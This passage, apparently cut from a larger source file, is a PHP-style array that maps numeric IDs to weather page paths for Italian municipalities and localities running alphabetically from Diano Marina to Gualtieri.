\"/meteo/Diano+marina\",2558 => \"/meteo/Diano+San+Pietro\",2559 => \"/meteo/Dicomano\",2560 => \"/meteo/Dignano\",2561 => \"/meteo/Dimaro\",2562 => \"/meteo/Dinami\",2563 => \"/meteo/Dipignano\",2564 => \"/meteo/Diso\",2565 => \"/meteo/Divignano\",2566 => \"/meteo/Dizzasco\",2567 => \"/meteo/Dobbiaco\",2568 => \"/meteo/Doberdo'+del+lago\",8628 => \"/meteo/Doganaccia\",2569 => \"/meteo/Dogliani\",2570 => \"/meteo/Dogliola\",2571 => \"/meteo/Dogna\",2572 => \"/meteo/Dolce'\",2573 => \"/meteo/Dolceacqua\",2574 => \"/meteo/Dolcedo\",2575 => \"/meteo/Dolegna+del+collio\",2576 => \"/meteo/Dolianova\",2577 => \"/meteo/Dolo\",8616 => \"/meteo/Dolonne\",2578 => \"/meteo/Dolzago\",2579 => \"/meteo/Domanico\",2580 => \"/meteo/Domaso\",2581 => \"/meteo/Domegge+di+cadore\",2582 => \"/meteo/Domicella\",2583 => \"/meteo/Domodossola\",2584 => \"/meteo/Domus+de+Maria\",2585 => \"/meteo/Domusnovas\",2586 => \"/meteo/Don\",2587 => \"/meteo/Donato\",2588 => \"/meteo/Dongo\",2589 => \"/meteo/Donnas\",2590 => \"/meteo/Donori'\",2591 => \"/meteo/Dorgali\",2592 => \"/meteo/Dorio\",2593 => \"/meteo/Dormelletto\",2594 => \"/meteo/Dorno\",2595 => \"/meteo/Dorsino\",2596 => \"/meteo/Dorzano\",2597 => \"/meteo/Dosolo\",2598 => \"/meteo/Dossena\",2599 => \"/meteo/Dosso+del+liro\",8323 => \"/meteo/Dosso+Pasò\",2600 => \"/meteo/Doues\",2601 => \"/meteo/Dovadola\",2602 => \"/meteo/Dovera\",2603 => \"/meteo/Dozza\",2604 => \"/meteo/Dragoni\",2605 => \"/meteo/Drapia\",2606 => \"/meteo/Drena\",2607 => \"/meteo/Drenchia\",2608 => \"/meteo/Dresano\",2609 => \"/meteo/Drezzo\",2610 => \"/meteo/Drizzona\",2611 => \"/meteo/Dro\",2612 => \"/meteo/Dronero\",2613 => \"/meteo/Druento\",2614 => \"/meteo/Druogno\",2615 => \"/meteo/Dualchi\",2616 => \"/meteo/Dubino\",2617 => \"/meteo/Due+carrare\",2618 => \"/meteo/Dueville\",2619 => \"/meteo/Dugenta\",2620 => \"/meteo/Duino+aurisina\",2621 => \"/meteo/Dumenza\",2622 => \"/meteo/Duno\",2623 => \"/meteo/Durazzano\",2624 => \"/meteo/Duronia\",2625 => \"/meteo/Dusino+San+Michele\",2626 => \"/meteo/Eboli\",2627 => \"/meteo/Edolo\",2628 => \"/meteo/Egna\",2629 => \"/meteo/Elice\",2630 => \"/meteo/Elini\",2631 => \"/meteo/Ello\",2632 => \"/meteo/Elmas\",2633 => \"/meteo/Elva\",2634 => \"/meteo/Emarese\",2635 => \"/meteo/Empoli\",2636 => \"/meteo/Endine+gaiano\",2637 => \"/meteo/Enego\",2638 => \"/meteo/Enemonzo\",2639 => \"/meteo/Enna\",2640 => \"/meteo/Entracque\",2641 => \"/meteo/Entratico\",8222 => \"/meteo/Entreves\",2642 => \"/meteo/Envie\",8397 => \"/meteo/Episcopia\",2644 => \"/meteo/Eraclea\",2645 => \"/meteo/Erba\",2646 => \"/meteo/Erbe'\",2647 => \"/meteo/Erbezzo\",2648 => \"/meteo/Erbusco\",2649 => \"/meteo/Erchie\",2650 => \"/meteo/Ercolano\",8531 => \"/meteo/Eremo+di+Camaldoli\",8606 => \"/meteo/Eremo+di+Carpegna\",2651 => \"/meteo/Erice\",2652 => \"/meteo/Erli\",2653 => \"/meteo/Erto+e+casso\",2654 => \"/meteo/Erula\",2655 => \"/meteo/Erve\",2656 => \"/meteo/Esanatoglia\",2657 => \"/meteo/Escalaplano\",2658 => \"/meteo/Escolca\",2659 => \"/meteo/Esine\",2660 => \"/meteo/Esino+lario\",2661 => \"/meteo/Esperia\",2662 => \"/meteo/Esporlatu\",2663 => \"/meteo/Este\",2664 => \"/meteo/Esterzili\",2665 => \"/meteo/Etroubles\",2666 => \"/meteo/Eupilio\",2667 => \"/meteo/Exilles\",2668 => \"/meteo/Fabbrica+Curone\",2669 => \"/meteo/Fabbriche+di+vallico\",2670 => \"/meteo/Fabbrico\",2671 => \"/meteo/Fabriano\",2672 => \"/meteo/Fabrica+di+Roma\",2673 => \"/meteo/Fabrizia\",2674 => \"/meteo/Fabro\",8458 => \"/meteo/Fabro+casello\",2675 => \"/meteo/Faedis\",2676 => \"/meteo/Faedo\",2677 => \"/meteo/Faedo+valtellino\",2678 => \"/meteo/Faenza\",2679 => \"/meteo/Faeto\",2680 => \"/meteo/Fagagna\",2681 => \"/meteo/Faggeto+lario\",2682 => \"/meteo/Faggiano\",2683 => \"/meteo/Fagnano+alto\",2684 => \"/meteo/Fagnano+castello\",2685 => \"/meteo/Fagnano+olona\",2686 => \"/meteo/Fai+della+paganella\",2687 => \"/meteo/Faicchio\",2688 => \"/meteo/Falcade\",2689 => \"/meteo/Falciano+del+massico\",2690 => \"/meteo/Falconara+albanese\",2691 => \"/meteo/Falconara+marittima\",2692 => \"/meteo/Falcone\",2693 => \"/meteo/Faleria\",2694 => \"/meteo/Falerna\",8116 => \"/meteo/Falerna+Marina\",2695 => \"/meteo/Falerone\",2696 => \"/meteo/Fallo\",2697 => \"/meteo/Falmenta\",2698 => \"/meteo/Faloppio\",2699 => \"/meteo/Falvaterra\",2700 => \"/meteo/Falzes\",2701 => \"/meteo/Fanano\",2702 => \"/meteo/Fanna\",2703 => \"/meteo/Fano\",2704 => \"/meteo/Fano+adriano\",2705 => \"/meteo/Fara+Filiorum+Petri\",2706 => \"/meteo/Fara+gera+d'Adda\",2707 => \"/meteo/Fara+in+sabina\",2708 => \"/meteo/Fara+novarese\",2709 => \"/meteo/Fara+Olivana+con+Sola\",2710 => \"/meteo/Fara+San+Martino\",2711 => \"/meteo/Fara+vicentino\",8360 => \"/meteo/Fardella\",2713 => \"/meteo/Farigliano\",2714 => \"/meteo/Farindola\",2715 => \"/meteo/Farini\",2716 => \"/meteo/Farnese\",2717 => \"/meteo/Farra+d'alpago\",2718 => \"/meteo/Farra+d'Isonzo\",2719 => \"/meteo/Farra+di+soligo\",2720 => \"/meteo/Fasano\",2721 => \"/meteo/Fascia\",2722 => \"/meteo/Fauglia\",2723 => \"/meteo/Faule\",2724 => \"/meteo/Favale+di+malvaro\",2725 => \"/meteo/Favara\",2726 => \"/meteo/Faver\",2727 => \"/meteo/Favignana\",2728 => \"/meteo/Favria\",2729 => \"/meteo/Feisoglio\",2730 => \"/meteo/Feletto\",2731 => \"/meteo/Felino\",2732 => \"/meteo/Felitto\",2733 => \"/meteo/Felizzano\",2734 => \"/meteo/Felonica\",2735 => \"/meteo/Feltre\",2736 => \"/meteo/Fenegro'\",2737 => \"/meteo/Fenestrelle\",2738 => \"/meteo/Fenis\",2739 => \"/meteo/Ferentillo\",2740 => \"/meteo/Ferentino\",2741 => \"/meteo/Ferla\",2742 => \"/meteo/Fermignano\",2743 => \"/meteo/Fermo\",2744 => \"/meteo/Ferno\",2745 => \"/meteo/Feroleto+Antico\",2746 => \"/meteo/Feroleto+della+chiesa\",8370 => \"/meteo/Ferrandina\",2748 => \"/meteo/Ferrara\",2749 => \"/meteo/Ferrara+di+monte+Baldo\",2750 => \"/meteo/Ferrazzano\",2751 => \"/meteo/Ferrera+di+Varese\",2752 => \"/meteo/Ferrera+Erbognone\",2753 => \"/meteo/Ferrere\",2754 => \"/meteo/Ferriere\",2755 => \"/meteo/Ferruzzano\",2756 => \"/meteo/Fiamignano\",2757 => \"/meteo/Fiano\",2758 => \"/meteo/Fiano+romano\",2759 => \"/meteo/Fiastra\",2760 => \"/meteo/Fiave'\",2761 => \"/meteo/Ficarazzi\",2762 => \"/meteo/Ficarolo\",2763 => \"/meteo/Ficarra\",2764 => \"/meteo/Ficulle\",2765 => \"/meteo/Fidenza\",2766 => \"/meteo/Fie'+allo+Sciliar\",2767 => \"/meteo/Fiera+di+primiero\",2768 => \"/meteo/Fierozzo\",2769 => \"/meteo/Fiesco\",2770 => \"/meteo/Fiesole\",2771 => \"/meteo/Fiesse\",2772 => \"/meteo/Fiesso+d'Artico\",2773 => \"/meteo/Fiesso+Umbertiano\",2774 => \"/meteo/Figino+Serenza\",2775 => \"/meteo/Figline+valdarno\",2776 => \"/meteo/Figline+Vegliaturo\",2777 => \"/meteo/Filacciano\",2778 => \"/meteo/Filadelfia\",2779 => \"/meteo/Filago\",2780 => \"/meteo/Filandari\",2781 => \"/meteo/Filattiera\",2782 => \"/meteo/Filettino\",2783 => \"/meteo/Filetto\",8392 => \"/meteo/Filiano\",2785 => \"/meteo/Filighera\",2786 => \"/meteo/Filignano\",2787 => \"/meteo/Filogaso\",2788 => \"/meteo/Filottrano\",2789 => \"/meteo/Finale+emilia\",2790 => \"/meteo/Finale+ligure\",2791 => \"/meteo/Fino+del+monte\",2792 => \"/meteo/Fino+Mornasco\",2793 => \"/meteo/Fiorano+al+Serio\",2794 => \"/meteo/Fiorano+canavese\",2795 => \"/meteo/Fiorano+modenese\",2796 => \"/meteo/Fiordimonte\",2797 => \"/meteo/Fiorenzuola+d'arda\",2798 => \"/meteo/Firenze\",8270 => \"/meteo/Firenze+Peretola\",2799 => \"/meteo/Firenzuola\",2800 => \"/meteo/Firmo\",2801 => \"/meteo/Fisciano\",2802 => \"/meteo/Fiuggi\",2803 => \"/meteo/Fiumalbo\",2804 => \"/meteo/Fiumara\",8489 => \"/meteo/Fiumata\",2805 => \"/meteo/Fiume+veneto\",2806 => \"/meteo/Fiumedinisi\",2807 => \"/meteo/Fiumefreddo+Bruzio\",2808 => \"/meteo/Fiumefreddo+di+Sicilia\",2809 => \"/meteo/Fiumicello\",2810 => \"/meteo/Fiumicino\",2811 => \"/meteo/Fiuminata\",2812 => \"/meteo/Fivizzano\",2813 => \"/meteo/Flaibano\",2814 => \"/meteo/Flavon\",2815 => \"/meteo/Flero\",2816 => \"/meteo/Floresta\",2817 => \"/meteo/Floridia\",2818 => \"/meteo/Florinas\",2819 => \"/meteo/Flumeri\",2820 => \"/meteo/Fluminimaggiore\",2821 => \"/meteo/Flussio\",2822 => \"/meteo/Fobello\",2823 => \"/meteo/Foggia\",2824 => \"/meteo/Foglianise\",2825 => \"/meteo/Fogliano+redipuglia\",2826 => \"/meteo/Foglizzo\",2827 => \"/meteo/Foiano+della+chiana\",2828 => \"/meteo/Foiano+di+val+fortore\",2829 => \"/meteo/Folgaria\",8202 => \"/meteo/Folgarida\",2830 => \"/meteo/Folignano\",2831 => \"/meteo/Foligno\",2832 => \"/meteo/Follina\",2833 => \"/meteo/Follo\",2834 => \"/meteo/Follonica\",2835 => \"/meteo/Fombio\",2836 => \"/meteo/Fondachelli+Fantina\",2837 => \"/meteo/Fondi\",2838 => \"/meteo/Fondo\",2839 => \"/meteo/Fonni\",2840 => \"/meteo/Fontainemore\",2841 => \"/meteo/Fontana+liri\",2842 => \"/meteo/Fontanafredda\",2843 => \"/meteo/Fontanarosa\",8185 => \"/meteo/Fontane+Bianche\",2844 => \"/meteo/Fontanelice\",2845 => \"/meteo/Fontanella\",2846 => \"/meteo/Fontanellato\",2847 => \"/meteo/Fontanelle\",2848 => \"/meteo/Fontaneto+d'Agogna\",2849 => \"/meteo/Fontanetto+po\",2850 => \"/meteo/Fontanigorda\",2851 => \"/meteo/Fontanile\",2852 => \"/meteo/Fontaniva\",2853 => \"/meteo/Fonte\",8643 => \"/meteo/Fonte+Cerreto\",2854 => \"/meteo/Fonte+Nuova\",2855 => \"/meteo/Fontecchio\",2856 => \"/meteo/Fontechiari\",2857 => \"/meteo/Fontegreca\",2858 => \"/meteo/Fonteno\",2859 => \"/meteo/Fontevivo\",2860 => \"/meteo/Fonzaso\",2861 => \"/meteo/Foppolo\",8540 => \"/meteo/Foppolo+IV+Baita\",2862 => \"/meteo/Forano\",2863 => \"/meteo/Force\",2864 => \"/meteo/Forchia\",2865 => \"/meteo/Forcola\",2866 => \"/meteo/Fordongianus\",2867 => \"/meteo/Forenza\",2868 => \"/meteo/Foresto+sparso\",2869 => \"/meteo/Forgaria+nel+friuli\",2870 => \"/meteo/Forino\",2871 => \"/meteo/Forio\",8551 => \"/meteo/Forlì+Ridolfi\",2872 => \"/meteo/Forli'\",2873 => \"/meteo/Forli'+del+sannio\",2874 => \"/meteo/Forlimpopoli\",2875 => \"/meteo/Formazza\",2876 => \"/meteo/Formello\",2877 => \"/meteo/Formia\",2878 => \"/meteo/Formicola\",2879 => \"/meteo/Formigara\",2880 => \"/meteo/Formigine\",2881 => \"/meteo/Formigliana\",2882 => \"/meteo/Formignana\",2883 => \"/meteo/Fornace\",2884 => \"/meteo/Fornelli\",2885 => \"/meteo/Forni+Avoltri\",2886 => \"/meteo/Forni+di+sopra\",2887 => \"/meteo/Forni+di+sotto\",8161 => \"/meteo/Forno+Alpi+Graie\",2888 => \"/meteo/Forno+canavese\",2889 => \"/meteo/Forno+di+Zoldo\",2890 => \"/meteo/Fornovo+di+Taro\",2891 => \"/meteo/Fornovo+San+Giovanni\",2892 => \"/meteo/Forte+dei+marmi\",2893 => \"/meteo/Fortezza\",2894 => \"/meteo/Fortunago\",2895 => \"/meteo/Forza+d'Agro'\",2896 => \"/meteo/Fosciandora\",8435 => \"/meteo/Fosdinovo\",2898 => \"/meteo/Fossa\",2899 => \"/meteo/Fossacesia\",2900 => \"/meteo/Fossalta+di+Piave\",2901 => \"/meteo/Fossalta+di+Portogruaro\",2902 => \"/meteo/Fossalto\",2903 => \"/meteo/Fossano\",2904 => \"/meteo/Fossato+di+vico\",2905 => \"/meteo/Fossato+serralta\",2906 => \"/meteo/Fosso'\",2907 => \"/meteo/Fossombrone\",2908 => \"/meteo/Foza\",2909 => \"/meteo/Frabosa+soprana\",2910 => \"/meteo/Frabosa+sottana\",2911 => \"/meteo/Fraconalto\",2912 => \"/meteo/Fragagnano\",2913 => \"/meteo/Fragneto+l'abate\",2914 => \"/meteo/Fragneto+monforte\",2915 => \"/meteo/Fraine\",2916 => \"/meteo/Framura\",2917 => \"/meteo/Francavilla+al+mare\",2918 => \"/meteo/Francavilla+angitola\",2919 => \"/meteo/Francavilla+bisio\",2920 => \"/meteo/Francavilla+d'ete\",2921 => \"/meteo/Francavilla+di+Sicilia\",2922 => \"/meteo/Francavilla+fontana\",8380 => \"/meteo/Francavilla+in+sinni\",2924 => \"/meteo/Francavilla+marittima\",2925 => \"/meteo/Francica\",2926 => \"/meteo/Francofonte\",2927 => \"/meteo/Francolise\",2928 => \"/meteo/Frascaro\",2929 => \"/meteo/Frascarolo\",2930 => \"/meteo/Frascati\",2931 => \"/meteo/Frascineto\",2932 => \"/meteo/Frassilongo\",2933 => \"/meteo/Frassinelle+polesine\",2934 => \"/meteo/Frassinello+monferrato\",2935 => \"/meteo/Frassineto+po\",2936 => \"/meteo/Frassinetto\",2937 => \"/meteo/Frassino\",2938 => \"/meteo/Frassinoro\",2939 => \"/meteo/Frasso+sabino\",2940 => \"/meteo/Frasso+telesino\",2941 => \"/meteo/Fratta+polesine\",2942 => \"/meteo/Fratta+todina\",2943 => \"/meteo/Frattamaggiore\",2944 => \"/meteo/Frattaminore\",2945 => \"/meteo/Fratte+rosa\",2946 => \"/meteo/Frazzano'\",8137 => \"/meteo/Fregene\",2947 => \"/meteo/Fregona\",8667 => \"/meteo/Frejusia\",2948 => \"/meteo/Fresagrandinaria\",2949 => \"/meteo/Fresonara\",2950 => \"/meteo/Frigento\",2951 => \"/meteo/Frignano\",2952 => \"/meteo/Frinco\",2953 => \"/meteo/Frisa\",2954 => \"/meteo/Frisanco\",2955 => \"/meteo/Front\",8153 => \"/meteo/Frontignano\",2956 => \"/meteo/Frontino\",2957 => \"/meteo/Frontone\",8751 => \"/meteo/Frontone+-+Monte+Catria\",2958 => \"/meteo/Frosinone\",8464 => \"/meteo/Frosinone+casello\",2959 => \"/meteo/Frosolone\",2960 => \"/meteo/Frossasco\",2961 => \"/meteo/Frugarolo\",2962 => \"/meteo/Fubine\",2963 => \"/meteo/Fucecchio\",2964 => \"/meteo/Fuipiano+valle+imagna\",2965 => \"/meteo/Fumane\",2966 => \"/meteo/Fumone\",2967 => \"/meteo/Funes\",2968 => \"/meteo/Furci\",2969 => \"/meteo/Furci+siculo\",2970 => \"/meteo/Furnari\",2971 => \"/meteo/Furore\",2972 => \"/meteo/Furtei\",2973 => \"/meteo/Fuscaldo\",2974 => \"/meteo/Fusignano\",2975 => \"/meteo/Fusine\",8702 => \"/meteo/Fusine+di+Zoldo\",8131 => \"/meteo/Fusine+in+Valromana\",2976 => \"/meteo/Futani\",2977 => \"/meteo/Gabbioneta+binanuova\",2978 => \"/meteo/Gabiano\",2979 => \"/meteo/Gabicce+mare\",8252 => \"/meteo/Gabiet\",2980 => \"/meteo/Gaby\",2981 => \"/meteo/Gadesco+Pieve+Delmona\",2982 => \"/meteo/Gadoni\",2983 => \"/meteo/Gaeta\",2984 => \"/meteo/Gaggi\",2985 => \"/meteo/Gaggiano\",2986 => \"/meteo/Gaggio+montano\",2987 => \"/meteo/Gaglianico\",2988 => \"/meteo/Gagliano+aterno\",2989 => \"/meteo/Gagliano+castelferrato\",2990 => \"/meteo/Gagliano+del+capo\",2991 => \"/meteo/Gagliato\",2992 => \"/meteo/Gagliole\",2993 => \"/meteo/Gaiarine\",2994 => \"/meteo/Gaiba\",2995 => \"/meteo/Gaiola\",2996 => \"/meteo/Gaiole+in+chianti\",2997 => \"/meteo/Gairo\",2998 => \"/meteo/Gais\",2999 => \"/meteo/Galati+Mamertino\",3000 => \"/meteo/Galatina\",3001 => \"/meteo/Galatone\",3002 => \"/meteo/Galatro\",3003 => \"/meteo/Galbiate\",3004 => \"/meteo/Galeata\",3005 => \"/meteo/Galgagnano\",3006 => \"/meteo/Gallarate\",3007 => \"/meteo/Gallese\",3008 => \"/meteo/Galliate\",3009 => \"/meteo/Galliate+lombardo\",3010 => \"/meteo/Galliavola\",3011 => \"/meteo/Gallicano\",3012 => \"/meteo/Gallicano+nel+Lazio\",8364 => \"/meteo/Gallicchio\",3014 => \"/meteo/Galliera\",3015 => \"/meteo/Galliera+veneta\",3016 => \"/meteo/Gallinaro\",3017 => \"/meteo/Gallio\",3018 => \"/meteo/Gallipoli\",3019 => \"/meteo/Gallo+matese\",3020 => \"/meteo/Gallodoro\",3021 => \"/meteo/Galluccio\",8315 => \"/meteo/Galluzzo\",3022 => \"/meteo/Galtelli\",3023 => \"/meteo/Galzignano+terme\",3024 => \"/meteo/Gamalero\",3025 => \"/meteo/Gambara\",3026 => \"/meteo/Gambarana\",8105 => \"/meteo/Gambarie\",3027 => \"/meteo/Gambasca\",3028 => \"/meteo/Gambassi+terme\",3029 => \"/meteo/Gambatesa\",3030 => \"/meteo/Gambellara\",3031 => \"/meteo/Gamberale\",3032 => \"/meteo/Gambettola\",3033 => \"/meteo/Gambolo'\",3034 => \"/meteo/Gambugliano\",3035 => \"/meteo/Gandellino\",3036 => \"/meteo/Gandino\",3037 => \"/meteo/Gandosso\",3038 => \"/meteo/Gangi\",8425 => \"/meteo/Garaguso\",3040 => \"/meteo/Garbagna\",3041 => \"/meteo/Garbagna+novarese\",3042 => \"/meteo/Garbagnate+milanese\",3043 => \"/meteo/Garbagnate+monastero\",3044 => \"/meteo/Garda\",3045 => \"/meteo/Gardone+riviera\",3046 => \"/meteo/Gardone+val+trompia\",3047 => \"/meteo/Garessio\",8349 => \"/meteo/Garessio+2000\",3048 => \"/meteo/Gargallo\",3049 => \"/meteo/Gargazzone\",3050 => \"/meteo/Gargnano\",3051 => \"/meteo/Garlasco\",3052 => \"/meteo/Garlate\",3053 => \"/meteo/Garlenda\",3054 => \"/meteo/Garniga\",3055 => \"/meteo/Garzeno\",3056 => \"/meteo/Garzigliana\",3057 => \"/meteo/Gasperina\",3058 => \"/meteo/Gassino+torinese\",3059 => \"/meteo/Gattatico\",3060 => \"/meteo/Gatteo\",3061 => \"/meteo/Gattico\",3062 => \"/meteo/Gattinara\",3063 => \"/meteo/Gavardo\",3064 => \"/meteo/Gavazzana\",3065 => \"/meteo/Gavello\",3066 => \"/meteo/Gaverina+terme\",3067 => \"/meteo/Gavi\",3068 => \"/meteo/Gavignano\",3069 => \"/meteo/Gavirate\",3070 => \"/meteo/Gavoi\",3071 => \"/meteo/Gavorrano\",3072 => \"/meteo/Gazoldo+degli+ippoliti\",3073 => \"/meteo/Gazzada+schianno\",3074 => \"/meteo/Gazzaniga\",3075 => \"/meteo/Gazzo\",3076 => \"/meteo/Gazzo+veronese\",3077 => \"/meteo/Gazzola\",3078 => \"/meteo/Gazzuolo\",3079 => \"/meteo/Gela\",3080 => \"/meteo/Gemmano\",3081 => \"/meteo/Gemona+del+friuli\",3082 => \"/meteo/Gemonio\",3083 => \"/meteo/Genazzano\",3084 => \"/meteo/Genga\",3085 => \"/meteo/Genivolta\",3086 => \"/meteo/Genola\",3087 => \"/meteo/Genoni\",3088 => \"/meteo/Genova\",8506 => \"/meteo/Genova+Nervi\",8276 => \"/meteo/Genova+Sestri\",3089 => \"/meteo/Genuri\",3090 => \"/meteo/Genzano+di+lucania\",3091 => \"/meteo/Genzano+di+roma\",3092 => \"/meteo/Genzone\",3093 => \"/meteo/Gera+lario\",3094 => \"/meteo/Gerace\",3095 => \"/meteo/Geraci+siculo\",3096 => \"/meteo/Gerano\",8176 => \"/meteo/Geremeas\",3097 => \"/meteo/Gerenzago\",3098 => \"/meteo/Gerenzano\",3099 => \"/meteo/Gergei\",3100 => \"/meteo/Germagnano\",3101 => \"/meteo/Germagno\",3102 => \"/meteo/Germasino\",3103 => \"/meteo/Germignaga\",8303 => \"/meteo/Gerno+di+Lesmo\",3104 => \"/meteo/Gerocarne\",3105 => \"/meteo/Gerola+alta\",3106 => \"/meteo/Gerosa\",3107 => \"/meteo/Gerre+de'caprioli\",3108 => \"/meteo/Gesico\",3109 => \"/meteo/Gessate\",3110 => \"/meteo/Gessopalena\",3111 => \"/meteo/Gesturi\",3112 => \"/meteo/Gesualdo\",3113 => \"/meteo/Ghedi\",3114 => \"/meteo/Ghemme\",8236 => \"/meteo/Ghiacciaio+Presena\",3115 => \"/meteo/Ghiffa\",3116 => \"/meteo/Ghilarza\",3117 => \"/meteo/Ghisalba\",3118 => \"/meteo/Ghislarengo\",3119 => \"/meteo/Giacciano+con+baruchella\",3120 => \"/meteo/Giaglione\",3121 => \"/meteo/Gianico\",3122 => \"/meteo/Giano+dell'umbria\",3123 => \"/meteo/Giano+vetusto\",3124 => \"/meteo/Giardinello\",3125 => \"/meteo/Giardini+Naxos\",3126 => \"/meteo/Giarole\",3127 => \"/meteo/Giarratana\",3128 => \"/meteo/Giarre\",3129 => \"/meteo/Giave\",3130 => \"/meteo/Giaveno\",3131 => \"/meteo/Giavera+del+montello\",3132 => \"/meteo/Giba\",3133 => \"/meteo/Gibellina\",3134 => \"/meteo/Gifflenga\",3135 => \"/meteo/Giffone\",3136 => \"/meteo/Giffoni+sei+casali\",3137 => \"/meteo/Giffoni+valle+piana\",3380 => \"/meteo/Giglio+castello\",3138 => \"/meteo/Gignese\",3139 => \"/meteo/Gignod\",3140 => \"/meteo/Gildone\",3141 => \"/meteo/Gimigliano\",8403 => \"/meteo/Ginestra\",3143 => \"/meteo/Ginestra+degli+schiavoni\",8430 => \"/meteo/Ginosa\",3145 => \"/meteo/Gioi\",3146 => \"/meteo/Gioia+dei+marsi\",3147 => \"/meteo/Gioia+del+colle\",3148 => \"/meteo/Gioia+sannitica\",3149 => \"/meteo/Gioia+tauro\",3150 => \"/meteo/Gioiosa+ionica\",3151 => \"/meteo/Gioiosa+marea\",3152 => \"/meteo/Giove\",3153 => \"/meteo/Giovinazzo\",3154 => \"/meteo/Giovo\",3155 => \"/meteo/Girasole\",3156 => \"/meteo/Girifalco\",3157 => \"/meteo/Gironico\",3158 => \"/meteo/Gissi\",3159 => \"/meteo/Giuggianello\",3160 => \"/meteo/Giugliano+in+campania\",3161 => \"/meteo/Giuliana\",3162 => \"/meteo/Giuliano+di+roma\",3163 => \"/meteo/Giuliano+teatino\",3164 => \"/meteo/Giulianova\",3165 => \"/meteo/Giuncugnano\",3166 => \"/meteo/Giungano\",3167 => \"/meteo/Giurdignano\",3168 => \"/meteo/Giussago\",3169 => \"/meteo/Giussano\",3170 => \"/meteo/Giustenice\",3171 => \"/meteo/Giustino\",3172 => \"/meteo/Giusvalla\",3173 => \"/meteo/Givoletto\",3174 => \"/meteo/Gizzeria\",3175 => \"/meteo/Glorenza\",3176 => \"/meteo/Godega+di+sant'urbano\",3177 => \"/meteo/Godiasco\",3178 => \"/meteo/Godrano\",3179 => \"/meteo/Goito\",3180 => \"/meteo/Golasecca\",3181 => \"/meteo/Golferenzo\",3182 => \"/meteo/Golfo+aranci\",3183 => \"/meteo/Gombito\",3184 => \"/meteo/Gonars\",3185 => \"/meteo/Goni\",3186 => \"/meteo/Gonnesa\",3187 => \"/meteo/Gonnoscodina\",3188 => \"/meteo/Gonnosfanadiga\",3189 => \"/meteo/Gonnosno'\",3190 => \"/meteo/Gonnostramatza\",3191 => \"/meteo/Gonzaga\",3192 => \"/meteo/Gordona\",3193 => \"/meteo/Gorga\",3194 => \"/meteo/Gorgo+al+monticano\",3195 => \"/meteo/Gorgoglione\",3196 => \"/meteo/Gorgonzola\",3197 => \"/meteo/Goriano+sicoli\",3198 => \"/meteo/Gorizia\",3199 => \"/meteo/Gorla+maggiore\",3200 => \"/meteo/Gorla+minore\",3201 => \"/meteo/Gorlago\",3202 => \"/meteo/Gorle\",3203 => \"/meteo/Gornate+olona\",3204 => \"/meteo/Gorno\",3205 => \"/meteo/Goro\",3206 => \"/meteo/Gorreto\",3207 => \"/meteo/Gorzegno\",3208 => \"/meteo/Gosaldo\",3209 => \"/meteo/Gossolengo\",3210 => \"/meteo/Gottasecca\",3211 => \"/meteo/Gottolengo\",3212 => \"/meteo/Govone\",3213 => \"/meteo/Gozzano\",3214 => \"/meteo/Gradara\",3215 => \"/meteo/Gradisca+d'isonzo\",3216 => \"/meteo/Grado\",3217 => \"/meteo/Gradoli\",3218 => \"/meteo/Graffignana\",3219 => \"/meteo/Graffignano\",3220 => \"/meteo/Graglia\",3221 => \"/meteo/Gragnano\",3222 => \"/meteo/Gragnano+trebbiense\",3223 => \"/meteo/Grammichele\",8485 => \"/meteo/Gran+Paradiso\",3224 => \"/meteo/Grana\",3225 => \"/meteo/Granaglione\",3226 => \"/meteo/Granarolo+dell'emilia\",3227 => \"/meteo/Grancona\",8728 => \"/meteo/Grand+Combin\",8327 => \"/meteo/Grand+Crot\",3228 => \"/meteo/Grandate\",3229 => \"/meteo/Grandola+ed+uniti\",3230 => \"/meteo/Graniti\",3231 => \"/meteo/Granozzo+con+monticello\",3232 => \"/meteo/Grantola\",3233 => \"/meteo/Grantorto\",3234 => \"/meteo/Granze\",8371 => \"/meteo/Grassano\",8504 => \"/meteo/Grassina\",3236 => \"/meteo/Grassobbio\",3237 => \"/meteo/Gratteri\",3238 => \"/meteo/Grauno\",3239 => \"/meteo/Gravedona\",3240 => \"/meteo/Gravellona+lomellina\",3241 => \"/meteo/Gravellona+toce\",3242 => \"/meteo/Gravere\",3243 => \"/meteo/Gravina+di+Catania\",3244 => \"/meteo/Gravina+in+puglia\",3245 => \"/meteo/Grazzanise\",3246 => \"/meteo/Grazzano+badoglio\",3247 => \"/meteo/Greccio\",3248 => \"/meteo/Greci\",3249 => \"/meteo/Greggio\",3250 => \"/meteo/Gremiasco\",3251 => \"/meteo/Gressan\",3252 => \"/meteo/Gressoney+la+trinite'\",3253 => \"/meteo/Gressoney+saint+jean\",3254 => \"/meteo/Greve+in+chianti\",3255 => \"/meteo/Grezzago\",3256 => \"/meteo/Grezzana\",3257 => \"/meteo/Griante\",3258 => \"/meteo/Gricignano+di+aversa\",8733 => \"/meteo/Grigna\",3259 => \"/meteo/Grignasco\",3260 => \"/meteo/Grigno\",3261 => \"/meteo/Grimacco\",3262 => \"/meteo/Grimaldi\",3263 => \"/meteo/Grinzane+cavour\",3264 => \"/meteo/Grisignano+di+zocco\",3265 => \"/meteo/Grisolia\",8520 => \"/meteo/Grivola\",3266 => \"/meteo/Grizzana+morandi\",3267 => \"/meteo/Grognardo\",3268 => \"/meteo/Gromo\",3269 => \"/meteo/Grondona\",3270 => \"/meteo/Grone\",3271 => \"/meteo/Grontardo\",3272 => \"/meteo/Gropello+cairoli\",3273 => \"/meteo/Gropparello\",3274 => \"/meteo/Groscavallo\",3275 => \"/meteo/Grosio\",3276 => \"/meteo/Grosotto\",3277 => \"/meteo/Grosseto\",3278 => \"/meteo/Grosso\",3279 => \"/meteo/Grottaferrata\",3280 => \"/meteo/Grottaglie\",3281 => \"/meteo/Grottaminarda\",3282 => \"/meteo/Grottammare\",3283 => \"/meteo/Grottazzolina\",3284 => \"/meteo/Grotte\",3285 => \"/meteo/Grotte+di+castro\",3286 => \"/meteo/Grotteria\",3287 => \"/meteo/Grottole\",3288 => \"/meteo/Grottolella\",3289 => \"/meteo/Gruaro\",3290 => \"/meteo/Grugliasco\",3291 => \"/meteo/Grumello+cremonese+ed+uniti\",3292 => \"/meteo/Grumello+del+monte\",8414 => \"/meteo/Grumento+nova\",3294 => \"/meteo/Grumes\",3295 => \"/meteo/Grumo+appula\",3296 => \"/meteo/Grumo+nevano\",3297 => \"/meteo/Grumolo+delle+abbadesse\",3298 => \"/meteo/Guagnano\",3299 => \"/meteo/Gualdo\",3300 => \"/meteo/Gualdo+Cattaneo\",3301 => \"/meteo/Gualdo+tadino\",3302 => \"/meteo/Gualtieri\",3303 => 